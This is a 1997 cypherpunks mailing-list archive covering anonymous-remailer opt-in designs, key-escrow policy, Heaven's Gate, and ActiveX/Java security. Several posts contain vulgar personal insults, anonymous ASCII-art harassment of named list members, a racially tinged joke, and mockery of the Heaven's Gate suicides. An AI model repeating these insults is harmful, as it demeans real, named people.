William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBMzs96Y9Co1n+aLhhAQHd9AP+Jz8Rj+tNjITMbJOji/Emqpe5S1YN0uRw
BndAjY5kDPzk0g+QRZDLgEi8ExAa6ic9PGICXnlDDphuzGR25ZGDL9f0RuROu5PA
ZaGX9pG3rkSENra5mhrNMN2kCpCYC94Yf9CCzWDcJs32Ab+nIJyZq9E/jWqP8z8w
FTpa44Pkusw=
=60HQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 27 Mar 1997 21:42:17 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <333B59AF.603F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Does anyone have a copy of the heavensgate.com web pages?
> I've found a couple mirrors of Higher Source already.
> (If you don't know what I'm talking about, look at
> http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)

"Good" disinformation, such as the MJ-12 stuff released by Bill
Cooper, John Lear, Bill Moore, Jaime Shandera et al, has a quality
that is compelling, if weird and hard to swallow.

The Higher Source crapola OTOH, won't pass first-level inspection
with any experienced UFO/conspiracy buff.  Don't waste your time.
Look for another explanation (i.e., find the money trail).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 19:59:34 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: remailer spam throttle
In-Reply-To: <9RB04D45w165w@bwalk.dm.com>
Message-ID: <199703280354.VAA03151@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Hal Finney <hal@rain.org> writes:
> > For example, one idea is to have a list of people who are willing to
> > receive anonymous mail without questions.  It could be that the remailer
> > is set up to ask before sending mail normally, but to people on such a
> > list it doesn't have to ask, it just sends it, because they have given
> > permission.
> >
> > Some people have objected to this proposal because the existence of the
> > list might give a hint about which people send mail through the remailers.
> > Even though the list is of people willing to *receive* anonymous mail,
> > it could well be that there is a strong correlation with people who want
> > to send such mail.
> 
> Instead of keeping this list in cleartext, one could keep 1-way hashes
> of the addresses. Thus a remailer (or anyone) can check whether a given
> address is on the list, but they can't just go through the list and
> "investigate" the addresses on it.

Well, they can compile the list of addresses off of USENET postings and
such and then compute the hashes of the compiled names and identify
those that are on the anon acceptance list. Not that it completely
invalidates the idea, but certainly it is a problem.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Mar 1997 19:40:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703280146.RAA01336@crypt.hfinney.com>
Message-ID: <9RB04D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney <hal@rain.org> writes:
> For example, one idea is to have a list of people who are willing to
> receive anonymous mail without questions.  It could be that the remailer
> is set up to ask before sending mail normally, but to people on such a
> list it doesn't have to ask, it just sends it, because they have given
> permission.
>
> Some people have objected to this proposal because the existence of the
> list might give a hint about which people send mail through the remailers.
> Even though the list is of people willing to *receive* anonymous mail,
> it could well be that there is a strong correlation with people who want
> to send such mail.

Instead of keeping this list in cleartext, one could keep 1-way hashes
of the addresses. Thus a remailer (or anyone) can check whether a given
address is on the list, but they can't just go through the list and
"investigate" the addresses on it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Mar 1997 20:19:45 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: OECD: No GAK
Message-ID: <1.5.4.32.19970328041159.00708088@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>Is this in reference to the various GAK initiatives by the administration
>or are they finally pushing for forced restrictions on domestic crypto? Has
>anyone seen these drafts?

I assume that the draft KRAP legislation at CDT Peter Junger cited 
here is what Markoff refers to:

   http://www.cdt.org/crypto/970312_admin.html

Anyone know of other KR/TTF drafts in the US, UK, FR, JP, AU or elsewhere
among the 29 signators of Wassenaar?

The Wassenaariors have a wider ambition than the OECDistes.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 27 Mar 1997 22:15:32 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Zero-knowledge interactive proofs
In-Reply-To: <199703280124.RAA23942@mailmasher.com>
Message-ID: <Pine.A41.3.95.970327231214.27642B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Huge Cajones Remailer wrote:

Vulis you are sick.

> Tim Maytag, a product of anal birth, appeared with a coathanger 
> through his head.
> 
>           /_/\/\
>           \_\  /
>           /_/  \
>           \_\/\ \
>              \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Mar 1997 21:29:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Upside of Higher Source's Actions
Message-ID: <333B542E.F6B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


There's 39 new job openings in San Diego.
  (Astral travellers only, need apply.)

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 27 Mar 1997 20:29:58 -0800 (PST)
To: cypherpunks@einstein.ssz.com
Subject: Re: OECD: No GAK
In-Reply-To: <199703272150.VAA18676@mailhub.amaranth.com>
Message-ID: <0nCoXN200YUf0Ldoc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"William H. Geiger III" <whgiii@amaranth.com> writes:
> In <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>, on 03/27/97 at
> 07:02 AM,
>    John Young <jya@pipeline.com> said:
> 
> 
> > That seeming contradiction, however, did not prevent the
> >   Clinton Administration in recent months from waging a
> >   vigorous behind-the-scenes effort for its proposal. And
> >   hoping to resolve some of the policy conflicts, the
> >   Administration is now circulating draft legislation on
> >   Capitol Hill which would attempt to control even the
> >   domestic use of data-scrambling software and establish a
> >   key-escrow system for the United States.
> 
> 
> Is this in reference to the various GAK initiatives by the administration
> or are they finally pushing for forced restrictions on domestic crypto? Has
> anyone seen these drafts?

I haven't seen the drafts, but the url that someone recently posted
(the ones with the commas in it) has an article about it. The article
is pretty down on the whole GAK thing, and points out a couple times
that the proposed bill pushes hard for de facto manditory GAK, despite
the gov't's past claims that it wouldn't do that.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMztItckz/YzIV3P5AQEd1wL/Tr9jF0HoKUwujRpXQY4E0ANH9Lmt2Xzx
OSw2mjyK965r6ul0+OKH6ArKeqNKgV2XgCk2iHC8P4hqx5DFbCVhXMzhNtVrIPl8
509bfqxBSV4nDkitUMb+y6hpA8+RvFGQ
=ulDt
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail@mkljk.com
Date: Thu, 27 Mar 1997 23:27:07 -0800 (PST)
To: mail@mkljk.com
Subject: Mutual Link Proposal
Message-ID: <801496278473.HHG25220@mkljk.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello, my name is Guy W. Rochefort, President of Dino Jump International.
I found your address through YAHOO. Dino Jump International are specialists 
in manufacturing and distribution of Interactive Inflatables worldwide. My
lines have been featured in Walt Disney productions, NFL shows, and NBA
events. Our product lines include moonwalkers, bouncehouses, and castles. 

I am interested in mutual links on our respective webpages beneficial to
both our businesses. Additionally, I am interested in opening dialog on
mutual beneficial business dealings as far as wholesale/retail efforts for 
manufactured products from my factory and/or resale distribution at 
competitive pricing.  Please come visit my site at http://www.dinojump.com 
or email sales1@dinojump.com or call me at 1-800-570-3466 or 619-754-5186.

If this email is intrusive I apologize and you will not hear further from
me. Thank you again and I am looking forward to doing business with you.

Guy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Truth Mongrel <tm@woof.nut>
Date: Fri, 28 Mar 1997 05:16:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: CypherPunks Hash Distribution Network / Combined thread
Message-ID: <199703281314.HAA06653@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> As far as I understand, the process of building a distributed network of
> cypherpunks mailing lists is logically complete. It means that the following
> list servers are now connected:
> ssz.com <---> algebra  <----> cyberpass
> Again, you are free to do so and your Cc-copies will NOT cause any
> duplication of traffic because each mailing list server employs an
> anti-duplicate filter. It is just a waste of your keyboard typing.

> Dale Thorn @ bat:
>> That's funny - I unsuscrived to toad, and 'scribed to cyberpass and
>> algebra.  I have been getting an average of 2-1/2 of each message
>> that comes through.  Mostly three's, a few two's, and an occasional
>> five or six copies.

  It sounds to me as if we might already have a naturally recurring
parallax to a hash-collusion system here.
  In other misued words, perchance the ASCII art spams and multiple
copies of various posts, which became common fare for anyone who
followed the moderation/censorship experiment/dictatorship of 
Gilmore/Sandfort and Toad/C2Net in Jan/Feb, are nature's way of
exacting a cost for subscription to the CypherPunks list(s).

  Perhaps the good Dr.Vulis DV K, rather than being called a flamer,
should be referred to as our good friend, Mr. Fire, who helps to 
clear the deadwood out of the forest.
  Apparently, over a thousand pieces of deadwood were cleared
in the last cycle of flamewars. ("Run, Bambi. Run!")

  Below, agreeing with me (in my dreams):
Hal Finney wrote:
> Adam Back writes:
> > [ Re idea to for a nym to "post a bond" to enhance reputation]
> > Your suggestion is another neat way of passing expense and tying an
> > investment to a nyms reputation.
> > X-reputation: 64 bit SHA1 collision
> > or
> > X-reputation: $100 digicash
> >
> Don't forget though, it's not really a payment system.  The hash
> collisions can't be exchanged for anything in the real world.
> They represent a certain threshold of effort which someone has to have
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (emphasis mine)
> expended to create them, but they can't replace cash.  At best they
> could be sort of a "play money" which some people choose to accept.
> 
> I do like your idea of using it as an incoming spam filter, though.
> (By spam I mean mass mailings.) 

  Which begs the question, is the current system capable of acting
as an outgoing filter? Can it glean out the losers who are cruising
for an easy view of cryptography issues, and help maintain a higher
level of membership, limiting it to losers who have a more dedicated
interest/psychosis in privacy/paranoia cryptography/disinformation
issues.

> > - and anyway I've nearly finished implementing it (I'll post the hash
> >   cash postage money mint (collision generator) and remailer plug-in
> >   for postage later on today) where as not many people have digicash
> >   accounts.

  Perhaps if Dale developed an 'outgoing filter' system to go with
Adam's 'incoming filter' system, we could have the best of both
worlds, being saved from "Make $$$ Fast" spams, but having to use
our delete keys to ante-up in regard to our own list loons.
  We could also institute a 'bad hash' system, where bad-hashes
like Tim C. May could use their guns to balance the threat of
legal actions from bad-hashes like Greg Broiles.

  With new developments such as these, to thwart the efforts of
anti-thwarters to bring balance and sanity to the list, perhaps
the CypherPunks can bypass the inevitable evolutionary extinction
of the 'bug-fixed' victims of insect vasectomies, and bring in
the new millenium as the longest running wash-out-your-mouth-with
Soap Opera on the InterNet, staying one step ahead of the guys
with the ButterflyNet.

  The Truth of the Mongrel is, that we obviously need to develop
a system that makes certain the spam we receive is CypherSpam.
The loons on the list should be CypherLoons. Our membership
should consist of CypherIdiots, CypherNewbies, CypherElitists,
CypherLosers, CypherCynics, CypherSpooks and CypherGenius'.

  Where else can movers and shakers like Robert Hettinga join
in an list-takeover attempt, call for the killing of the list,
and then, like a whirling dervish acting as his own spin doctor,
re-appear, riding on the back of the CypherXenix rising from the 
ashes, and genuinely declare, "I *love* this list."?
  Where else can CypherWoofers like Toto roundly condemn Sandfart
<spit>* and Gilmore <swallow>* as fascist censors, then praise
his own bum-buddy, Igor Chewed-Off <commie>*, for his site blocking 
efforts, and then cynically whine when his own "Make Big $$$ Licking 
Your Own Nuts At Home" bulk-emails are intercepted and deleted?
(* - ASCII Graphicology allegedly (c) DV K Bot-ling Plant, No-Inc.)

  Where else can Afro-American cryptographers have their native
tongue, Ebonics, recognized as a valid encryption system?
  Where else can you be guaranteed that your typoos will be 
forwarded to Ft. Meade, to be pored over by military analysts
for hidden meaning, quite possibly launching world infowars as
a result of drunken, sticky fingers.

  The CypherPunks list, love it or leave it, is still, far and away, 
the best show in town.
  ("If I can make it theeerrre...I can make it anywheeerrre..")

  And the way this relates to cryptography is...my brain is 
scrambled/encrypted.

Anarchist (Don't) Rule!

Truth Mongrel
~~~~~~~~~~~~~
Just say "No" to "Bad Dog Inside"
We got nuts, we're peeing on telephone poles, I know that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Truth Mongrel               | Doggie Anarchy: cats chased, bones buried,
tm@woof.nut                 | anonymous droppings, analog come-calling
Woof! Woof!                 | legs lifted, territories marked
"Yard fences aren't even speed bumps on the garbage sniffing alleyway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 08:22:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703280354.VAA03151@manifold.algebra.com>
Message-ID: <TH804D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Hal Finney <hal@rain.org> writes:
> > > For example, one idea is to have a list of people who are willing to
> > > receive anonymous mail without questions.  It could be that the remailer
> > > is set up to ask before sending mail normally, but to people on such a
> > > list it doesn't have to ask, it just sends it, because they have given
> > > permission.
> > >
> > > Some people have objected to this proposal because the existence of the
> > > list might give a hint about which people send mail through the remailers
> > > Even though the list is of people willing to *receive* anonymous mail,
> > > it could well be that there is a strong correlation with people who want
> > > to send such mail.
> > 
> > Instead of keeping this list in cleartext, one could keep 1-way hashes
> > of the addresses. Thus a remailer (or anyone) can check whether a given
> > address is on the list, but they can't just go through the list and
> > "investigate" the addresses on it.
> 
> Well, they can compile the list of addresses off of USENET postings and
> such and then compute the hashes of the compiled names and identify
> those that are on the anon acceptance list. Not that it completely
> invalidates the idea, but certainly it is a problem.
> 
> 	- Igor.
> 

That's a valid point.  One can obtain a list of "suspected" addreses,
say, from the subscribers to the cp list(s), and run that against the
hashed lists.

Another feature I really don't like about asking the first-time recipients
to agree to accept e-mail while it's on the reamailer is:

With the present scheme, if a remailer is "raided", it has precious little
interesting stuff on it at any one time. Now consider the scenario:

X sends 1000 copies of child porn/seditious libel to 100 people believed not
to be using remailers right now.  The remailer keeps the 100 e-mails onits
hard disk and e-mails each receipient a ping, inviting them to agree to the
disclaimer terms and to retrieve their anonymous e-mail.  The first recipient
to retrieve the e-mail gets upset and contacts the feds.  The feds figure, the
remailer still has the 99 other e-mails and the information on who's supposed
to receive them in its queue; why not seize it and take a look.


I just came up with another idea which definitely has some holes in it,
but perhaps someone wants to improve on it.

There's a big distributed database of pgp keys on the several keyservers.
Add a bit to the database specifying whether the key owner wants to receive
anonymous e-mail.  By default set it to true for the existing addresses.

When the final remailer in the chain wants to send someone an anonymous
message, it attempts to retrieve a key from the keyservers.

If it fails to find a key, it junks the mail (you don't want to keep it
around, it's baiting the LEAs!) and instead sends a notification to the
recipient that some anon e-mail was addressed to it, but it was junked;
and if they want to receive anon e-mail, they need to give a pgp key
to one of the key servers this remailer uses.

If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
the e-mail with the recipient's key and sends it; otherwise it junks it.

Obviously, the key servers would need to be modified to allow users to
specify whether they want anon e-mail when then store their keys, and
to change this setting any time.

Right now, there's a very large number of addresses in the key servers.
Instantly making them into a list of addresses that accept anon mail
will make it hard (hopefully infeasible) for the LEAs to investigate
everyone willing to accept anon e-mail as a suspect in sending it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 28 Mar 1997 07:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <199703281314.HAA06653@wombat.sk.sympatico.ca>
Message-ID: <v0302098daf618bf34da5@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:18 am -0500 on 3/28/97, Truth Mongrel, (probably the nym formerly
known as Rabid Wombat, possibly a disgruntled BCTEL employee now gone, um,
postal) wrote (Why? Because he can!):


>   Where else can movers and shakers like Robert Hettinga join
> in an list-takeover attempt, call for the killing of the list,
> and then, like a whirling dervish acting as his own spin doctor,
> re-appear, riding on the back of the CypherXenix rising from the
> ashes, and genuinely declare, "I *love* this list."?

Hey! A guy's allowed to change his mind (six, maybe seven, times, tops),
isn't he? :-).

(Down, boy. No! *Don't* lick me in the face! Yyyyech! Pef! Down! Who
*knows* where that tongue's been...)

Cheers,
Bob Hettinga


PS: I *love* this list.

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 09:21:13 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703280443.UAA07280@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970328101744.103646A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Mix wrote:

>From the sick mind of Vulis

> Timothy C[reep] May's family tree goes straight 
> up. All of his ancestors were siblings, to dumb 
> to recognize each other in the dark.
> 
>         /\ o-/\  Timothy C[reep] May
>        ///\|/\\\
>       /   /|\   \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 28 Mar 1997 11:15:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199703281915.LAA23315@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[reep] May has been a source of endless 
embarassments to his sympathizers on and off the net.

    o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
   /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[reep] May
   / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Fri, 28 Mar 1997 12:15:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
Message-ID: <199703281941.LAA00237@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> With the present scheme, if a remailer is "raided", it has precious little
> interesting stuff on it at any one time. Now consider the scenario:
>
> X sends 1000 copies of child porn/seditious libel to 100 people believed not
> to be using remailers right now.  The remailer keeps the 100 e-mails onits
> hard disk and e-mails each receipient a ping, inviting them to agree to the
> disclaimer terms and to retrieve their anonymous e-mail.  The first recipient
> to retrieve the e-mail gets upset and contacts the feds.  The feds figure, the
> remailer still has the 99 other e-mails and the information on who's supposed
> to receive them in its queue; why not seize it and take a look.

This is a potential problem, but there are some other considerations.

First, there is no particular reason why one recipient of some email from
the remailer should know or even suspect that other people have the same
email waiting.

Then, to defend against raids like this, the material could be separately
encrypted to each recipient.  There would be no way to know that material
sent to one recipient matched material sent to someone else.  The raiders
would just find a bunch of encrypted files.

Of course, if it were a sting operation, with the recipients being lured
or entrapped into requesting information they shouldn't, then the sender
might avoid using these countermeasures.  However, there wouldn't really
be any need to use a remailer for a sting operation like this, it could
be done just by offering the material from an ordinary address.

More generally, I think we need to keep in mind what a remailer does and
what it doesn't do.  The essential function of the remailer is to provide
anonymity via mixing messages.  It does not provide confidentiality of
message contents.  That has to be taken care of by encryption.  And,
as I wrote yesterday, it doesn't (can't) keep secret who the people are
who send and receive anonymous mail.  All it can do is to disguise which
particular people send and receive to each other.

The same is true of a DC-net or a perfect Chaumian mixnet.  These systems
do not disguise their particpants, or protect the confidentiality of their
message contents; they only hide the knowledge of who is talking to whom.

Having said that, I do like some aspects of this idea:

> There's a big distributed database of pgp keys on the several keyservers.
> Add a bit to the database specifying whether the key owner wants to receive
> anonymous e-mail.  By default set it to true for the existing addresses.

(The "default true" is going to allow the same kinds of abuse which we
have seen in the past.  Some remailers may be able to tolerate this, but
as we have seen, many can't.)

> When the final remailer in the chain wants to send someone an anonymous
> message, it attempts to retrieve a key from the keyservers.
>
> If it fails to find a key, it junks the mail (you don't want to keep it
> around, it's baiting the LEAs!) and instead sends a notification to the
> recipient that some anon e-mail was addressed to it, but it was junked;
> and if they want to receive anon e-mail, they need to give a pgp key
> to one of the key servers this remailer uses.

This is what I like.  It's a lot simpler than trying to keep a copy of
the anonymous mail and deliver it later when the person asks for it.
Just let him know that someone is trying to reach him anonymously, and
let him enable that if he wants to be able to receive the next anonymous
message that comes in for him.  You can load his permission message down
with all kinds of disclaimers that say he knows he's likely to receive
obscene, threatening and illegal material, that he doesn't mind, that
he knows the remailer is an automated system which doesn't look at the
contents, etc.  Not only does this give you a defense but it makes the
person think about what he's getting into, so he will in fact be better
prepared when something bad comes his way.

Plus, having taken positive action to enable receiving anonymous mail, he
will hopefully be more knowledgable about how to request that you stop,
and it won't be such a big deal.  He opens the pipe, and if he gets a
face full of sewage, he closes up the pipe right away.  You warned him.

> If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
> the e-mail with the recipient's key and sends it; otherwise it junks it.
>
> Obviously, the key servers would need to be modified to allow users to
> specify whether they want anon e-mail when then store their keys, and
> to change this setting any time.

Key servers wouldn't be the only place to store this information.  I think
the remailer could keep its own list, especially if it were defaulting
to "off".  This way recipients wouldn't have to generate and submit PGP
keys, which is more work than just sending a reply to a remailer giving
the OK to receive anonymous mail.

> Right now, there's a very large number of addresses in the key servers.
> Instantly making them into a list of addresses that accept anon mail
> will make it hard (hopefully infeasible) for the LEAs to investigate
> everyone willing to accept anon e-mail as a suspect in sending it.

More cautious or politically vulnerable remailers might default in the
other direction.  It would be a matter of the individual situation.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 11:03:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <v0302098daf618bf34da5@[139.167.130.246]>
Message-ID: <eeca5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> At 8:18 am -0500 on 3/28/97, Truth Mongrel, (probably the nym formerly
> known as Rabid Wombat, possibly a disgruntled BCTEL employee now gone, um,
> postal) wrote (Why? Because he can!):
> 
> 
> >   Where else can movers and shakers like Robert Hettinga join
> > in an list-takeover attempt, call for the killing of the list,
> > and then, like a whirling dervish acting as his own spin doctor,
> > re-appear, riding on the back of the CypherXenix rising from the
> > ashes, and genuinely declare, "I *love* this list."?
> 
> Hey! A guy's allowed to change his mind (six, maybe seven, times, tops),
> isn't he? :-).
> 
> (Down, boy. No! *Don't* lick me in the face! Yyyyech! Pef! Down! Who
> *knows* where that tongue's been...)

Hettiga's tongue is still firmly implanted up Cocksucker John Gilmore's ass.

> 
> Cheers,
> Bob Hettinga
> 
> 
> PS: I *love* this list.
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "Never attribute to conspiracy what can be
> explained by stupidity." -- Jerry Pournelle
> The e$ Home Page: http://www.shipwright.com/rah/
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 28 Mar 1997 12:48:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Microsoft ammunition
In-Reply-To: <333AF0A6.6C81@sk.sympatico.ca>
Message-ID: <v03007808af61c44c0915@[207.94.249.140]>
MIME-Version: 1.0
Content-Type: text/plain


>From Infoworld:
>
> March 24, 1997
>...
>             If seamless, safe desktop access to remote files
>             on the Internet is the goal, Microsoft is spinning
>             its wheels. There is really only one way to
>             provide these features without introducing a local
>             security risk. You have to eliminate the
>             possibility that anything you run can affect your
>             local drives. Better still, get rid of your local
>             drives.

The author misses the point.  Whether your personal files are stored on a
local disk or on a server doesn't matter.  What matters is whether random
downloaded code (again, Java or ActiveX doesn't matter) can use your
authority to read/modify those files.  The ActiveX model of, "It's signed
by XYZ Corp.  Of course it's safe." is so much bullshit.*  The Java
approach of running untrusted code in a safe box is better, but doing it by
validating the safety of object code requires trusting a large complex
verifier.

* See Norm Hardy's paper, "The Confused Deputy", which I believe is still
available through the EROS page at the University of Pennsylvania.


-------------------------------------------------------------------------
Bill Frantz       | Back from caving in Borneo.| Periwinkle -- Consulting
(408)356-8506     | Great caves.  We mapped    | 16345 Englewood Ave.
frantz@netcom.com | 25KM on the expedition.    | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Fri, 28 Mar 1997 12:10:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZDNet Special Report:  Web Tragedy
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.12281.03281997114346.139435@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/28/97 
------------------------------------------------------------------


Join us today for our latest ZDNN news special report,"Web
Tragedy". 

Once again, we see how the Web affects us and our culture, in ways
never foreseen. Shades of Jonestown. A mass suicide. Bizarre
enough. But even more so. Reason: Even this could be tied to the
Internet. 

___"Heavens Gate" Web Site Now Accessible Via Yahoo! Internet
Life___ 

As the Heaven's Gate Web site continues to experience overload,
Yahoo! Internet Life has mirrored a major portion of the site for
Internet surfers looking for more information on the cult.   

Heaven's Gate Web site:  
http://www.zdnet.com/yil/higher/higher.html 

___ ZDNet News Special Report___ 

Visit ZDNet News for a comprehensive news package on the suicide
of the 39 Web designers, including:  video reports, insight from
inside the Net subculture itself, perspective from cult experts, a
discussion forum and the latest news as it happens. 

ZDNet News Special Report:    
http://www.zdnet.com/zdnn/heavensgate 

___ Yahoo! Internet Life Offers Report from Cult Experts___ 

Yahoo! Internet Life also offers an exclusive column by noted cult
experts Robert Siegelman and Flo Conway, who try to make sense of
the tragedy. 

Cults on the Web:   
http://www5.zdnet.com/yil/higher/cultcol1.html 

 

We'll be updating these sites continually as this story unfolds. 


________________________________________________________       

